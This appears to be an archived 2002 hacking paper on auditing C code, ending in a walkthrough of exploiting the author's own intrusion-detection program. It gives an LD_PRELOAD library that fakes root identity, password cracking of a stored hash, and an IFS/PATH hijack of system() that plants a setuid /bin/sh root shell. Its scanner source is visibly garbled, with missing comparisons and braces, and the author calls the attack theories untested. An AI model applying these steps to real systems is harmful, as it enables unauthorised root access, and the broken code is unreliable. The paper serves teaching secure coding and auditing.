what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New


Posted Sep 17, 2002
Authored by Bob, dsr | Site blaat.dtors.net

Finding Vulnerabilities - This paper explains the auditing of C source code to find application exploits. Includes a practical example of how to hack an IDS that was coded for a website.

tags | paper, vulnerability
systems | unix
SHA-256 | 9a48e28edc710e3b6eb7dfe1ecba2cec826785f99ff2ef8c0174fa6e04e4a18c


Change Mirror Download

Finding Vulnerabilitites

by bob@dtors.net



In this paper im going to explain how to go about
auditing source code, to see if the application can be
exploited. Which will then lead me to walk you through
how to hack the IDS that I coded for my website.

This paper does require you to have an understanding
with the C programming language, in order for you to
fully understand.

Exploits are created through human error. Sloppy
programming can lead to system compromisation.

H >o< l e s

Im going to explain the methodology you will regularly want
to use for finding vulnerabilities in a systematic way by
looking at the code.

Method [1]

In this method you go from the start of the code to the end,
look for all sources of external user input. Write them down
as you go along, and then you can begin your audit from each
of these points. Another good thing to look for while auditing
code, is whether there is bounds checking in place. You need to
cover all the code that branches from the external input,
and functions that may be called upon.

Method [2]

This method starts at the main() function. You follow the code how it
will be executed, your job is to act like strace, and follow exactly
how its going to be working.

Note down functions() that take user input, see whether bounds checking
is in place, whether it is using the proper arguments, which might be
vulnerable to a format string attacks.

Another good thing to look for is whether the program drops privileges, or
if it opens files in a insecure manner, or any system functions. The program
should also check the reutrn values, from functions.

Things to look out for in particular

When your auditng your source code, there are a few things u might want to watch
out for. Ill list a few with the problems:

strcpy() - Doesnt use bounds checking, meaning we can copy a value
from one array larger then the target array.

*gets() - Once again insufficent bounds checking.

setenv/getenv() - We can manipulate this to cause a buffer overflow.

*scanf() - This one if used incorrectly is also vulnerable.

system() - DONT USE THIS....this can be manipulated so easy, you
see this in some code, smile!

printf() - If used incorrectly this can be vulnerable
to a format string attack.

getuid() - This can be manipulated, to make the program think you are root.

There are so many more, im just pointing out the most common ones.
Most of the time you will see that these are used correctly, but
watch out for things like this:

strcpy(VAR1, argv[1]);

scanf("%s", &VAR1);

fscanf(fp, "%s", WORD);

strcpy(buffer, (char *)getenv("TERM"));


snprintf (buf, sizeof(buf)-1, argv[1]);

So many more!!!!!!!!!!!!!!

What i did was to make a program to open(), read() and then scan for
some common vulnerabilities. Saves doing it via metod 1/2...and can also
be easily updated with more strings to scan for.

Heres a look at the code, that would do this:

/* SrcSec.c
* SrcSec checks C source code for
* insecure programming, and will notify
* the user of the implications.
* by bob [www.dtors.net]

#include <stdio.h>

int main(int argc, char * argv[])
FILE *fp;
char word[100];
int c;

if(argc < 2) {
printf("\nSrcSec by bob [www.dtors.net]\n");
printf("Usage: %s <src file>\n\n", argv[0]);
if ((strlen(argv[1]))<1){
puts("Error: We need a valid file name?!");
sleep(1); exit(1);}

if ((fp=fopen(argv[1], "r+"))==NULL){
printf("Error: Cant read/find source file!");
sleep(1); exit(1);}

puts("Examining Source Code, Please Wait....\n");
fp = fopen(argv[1], "r");


c = fscanf(fp, "%s\n", word); /* get one word from file */

/* buffer ovferlows /*

printf("strcpy() found at position: %d, potential buffer overflow attack!\n",ftell(fp));

printf("gets() found at position: %d, potential buffer overflow attack!\n",ftell(fp));

printf("fgets() found at position: %d, potential buffer overflow attack!\n",ftell(fp));

printf("setenv() found at position: %d, potential buffer overflow attack!\n",ftell(fp));

printf("getenv() found at position: %d, potential buffer overlow attack!\n",ftell(fp));

printf("scanf() found at position: %d, potential buffer overflow attack!\n",ftell(fp));

printf("sscanf() found at position: %d, potential buffer overflow attack!\n",ftell(fp));

printf("fscanf() found at position: %d, potential buffer overflow attack!\n",ftell(fp));

printf("strcat() found at position: %d, potential buffer overflow attack!\n",ftell(fp));

/* format strings */
printf("fprintf() found at position: %d, potential formatstring attack!?\n",ftell(fp));

printf("sprintf() found at position: %d, potential formatstring attack!?\n",ftell(fp));

printf("snprintf() found at position: %d, potential formatstring attack!?\n",ftell(fp));

printf("system() found at position: %d, potential formatstring attack!?\n",ftell(fp));

printf("syslog() found at position: %d, potential formatstring attack!?\n",ftell(fp));

printf("vsprintf() found at position: %d, potential formatstring attack!?\n",ftell(fp));

printf("vsprintf() found at position: %d, potential formatstring attack!?\n",ftell(fp));

printf("popen() found at position: %d, potential formatstring attack!?\n",ftell(fp));

} while (c != EOF); /* repeat until EOF */

puts("\n...Scan Completed.");
printf("\n\nThis Vulnerability scan was very generalised, so\n");
printf("some could be false alarms, and others may be missed.\n");
printf("SrcSec.c by bob@dtors.net\n\n");

return 0;

Ill show you an example of this working on an IDS that I
coded a few weeks back.

[bob@dtors.net bob]$ gcc srcsec.c -o srcsec
[bob@dtors.net bob]$ ./srcsec S.H.I.T.c

Examining Source Code, Please Wait....

...Scan Completed.

This Vulnerability scan was very generalised, so
some could be false alarms, and others may be missed.
SrcSec.c by bob@dtors.net

[bob@dtors.net bob]$

Now we found some common points that we can possibly exploit,
we take a closer look at the code ourselves.

If you want to look at the code yourself, you can get it at

I will paste here some snippets of possible ways we could
exploit S.H.I.T.

Ok the first one im looking at, starts in the main function.

if (getuid() != 0){
puts("You must be root!");

Now as i said earlier, we can trick this into thinking we are root,
even when we are not. Here is a quick example of how we might go about
doing this:

cat >bob.c <<__BLAAT__

int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
gcc -shared bob.c -o bob.so
LD_PRELOAD=./bob.so sh

To stop this from occuring, if we compile S.H.I.T, with
the -static flag, it will not be affected by this little hack.

The next thing I notice in the main function
is that once compiled, the binary will require
password authentication to run. The password is stored
in enCRYPTed form, in the smells.h file.

The Admin that runs S.H.I.T on his server, will change
the default password which is defined in smells.h:

#define PWD "uXO1k5bPFzFhk" //YOUR password here, create with htpasswd.

Thing here is that this type of password enCRYPTion is not very
secure, and to get the password the victim used is simple.
Once it had been compiled a strings command would show us the
encrypted password, we then crack this password, with
john the ripper. Which then gives us access to this IDS!!

[bob@dtors.net bob]$ strings s.h.i.t

Safe Homepage Intrusion Technology.
uXO1k5bPFzFhk <<<password we will crack!
You must be root!
lpd -c -p 515 <<process mask
Your S.H.I.T stinks!


So lets imagine that we are able to get the password,
and we have cracked it, so we go a step further...

snprintf(cmd, sizeof(cmd), "%s %s >%s", MD5, INDEX, TMP);
//get md5 checksum of index file.
snprintf(cmd,sizeof(cmd), "%s %s >%s", MD5, HIDEME, TMP2);
//get md5 checksum of backup file
snprintf(cmd,sizeof(cmd), "%s %s %s > %s", DIFF, TMP, TMP2, TMP3);
//check to see if they are different

Ouch what was i thinking!?!

As you can see here, we put the commands we want to execute into
"cmd". Then we execute a SYSTEM() which is VERY unsafe! Here is
our main point of exploitation.

We can make S.H.I.T execute OUR program instead of the one
it is designed to run.

For example:
Lets say for a second the command that is stored in cmd is:

/usr/bin/md5sum /www/htdocs/index.php /tmp/index.php

We can exploit this similar to my example below:

export IFS=/

That will ignore /

PATH = /tmp

sets the PATH env to /tmp only

/bin/cp /bin/sh /tmp/usr

Now when we run S.H.I.T, it will ask for the password, we put
the one we cracked earlier, then the IDS will move onto the system()

Now it will try and execute usr bin md5sum....... because we
set it to ignore the /'s.
Also we set our PATH to /tmp so its going to execute files from there
only which will result in it running /tmp/usr which will execute us a

Wollah....we dont necessarily have to make it execute a shell, we
can make it execute anything we want....for example:

int main{system("/bin/chmod 4775 /bin/sh");execl("/bin/sh","sh -i",0);}

We compile that and rename it to usr...we have ourself a rootshell :P


I have not had time to test all my theories that I have shared with you
here. But logic says they are right. I have covered some very old points of
exploitation, plus some ones that are still commonly found.

S.H.I.T if used correctly is not vulnerable to the above suggestions.
For example running strings, on a program that is not owned by the same
uid and gid, is not possible if the CORRECT file permission are set.

Also if you were to encrypt the binary it would proove better protection.
One more thing, if you was to run it under the uid/gid of nobody, which
is the same as your website should run under....root compromise is not

Buffer Overflows are becoming surely but slowly the thing of the past. But
as long as people still code, and others like you and me audit that code
they will still exist. I did mention other such things as format strings,
which are also not so much of a threat, but they are good to know of.

A fairly recent type of overflow is the Integer Overflow which is when a
integer is declared as signed, and you can overflow it so it becomes negative.
You can read more on Integer Overflows, on the links section of my site.

Thats about it,



Email: bob@dtors.net
Website: www.dtors.net
Homepage: blaat.dtors.net

Login or Register to add favorites

File Archive:

October 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    10 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    0 Files
  • 4
    Oct 4th
    0 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By